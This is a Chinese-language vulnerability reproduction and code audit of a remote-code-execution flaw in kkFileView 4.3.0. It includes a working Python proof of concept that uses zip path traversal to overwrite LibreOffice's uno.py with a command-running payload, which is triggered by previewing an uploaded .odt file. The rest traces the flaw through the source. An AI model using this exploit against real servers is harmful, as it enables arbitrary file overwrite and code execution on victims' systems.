漏洞复现

POC上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import zipfile


def main():
try:
binary1 = b'1ue'
binary2 = b'import os\r\nos.system(\'calc\')'
zipFile = zipfile.ZipFile("test1.zip", "a",
zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test1.zip")
# zipFile.writestr("test", binary1)
zipFile.writestr("../../../../LibreOfficePortable/APP/libreoffice/program/uno.py",
binary2)
zipFile.close()
except IOError as e:
raise e


if __name__ == '__main__':
main()

image-20240612145628366

将执行代码追加写进uno.py

1
2
import os
os.system('calc')

image-20240612145729903

通过上传后缀为odt的文件预览进行触发

image-20240612145901104

代码审计

根据issue定位到CompressFileReader55行附近(kkFileView-v4.3.0~v4.40-beta 存在RCE漏洞 · Issue #553 · kekingcn/kkFileView · GitHub),造成漏洞原因为55行路径拼接。其中data为import os\r\nos.system('calc')的ASCII码,在执行完写数据流后uno.py的内容被覆盖,通过该漏洞可覆盖任意文件。

image-20240612154021085

触发uno.py

全局搜索odt发现存在一个OFFIECE_TYPES的字符串数组

image-20240612160714587

经测试只要符合转pdf的均会触发,kkfile存在缓存机制,再次点击不会触发需要缓存清空或重启

image-20240612160754455

触发流程

因为已知转换PDF才会触发,全局搜索PDF关键字,搜索到OfficeToPdfService这个比较像的类进行DEBUG

首先定位到了office2pdf方法,在最后一步converterFile方法触发RCE

image-20240612162228668

跟进converterFile方法在最后一步builder.build().convert(inputFile).to(outputFile).execute();触发RCE

image-20240612162338024

全局搜索无法跟踪uno.py是在哪里被调用的,猜测是组件在uno.py的上级目录发现存在exe文件怀疑和这个有关

image-20240612163621500

全局搜索exe文件名字,发现有个LocalOfficeUtil方法调用

image-20240612163726175

并在项目启动时进行初始化调用了该程序

image-20240612163817427

CodeQL

1
codeql database create databases/kkfile-db --language=java --command="mvn clean install -DskipTests" --source-root=E:\codeql\source\kkFileView-4.3.0 --overwrite

image-20240611193135329

__END__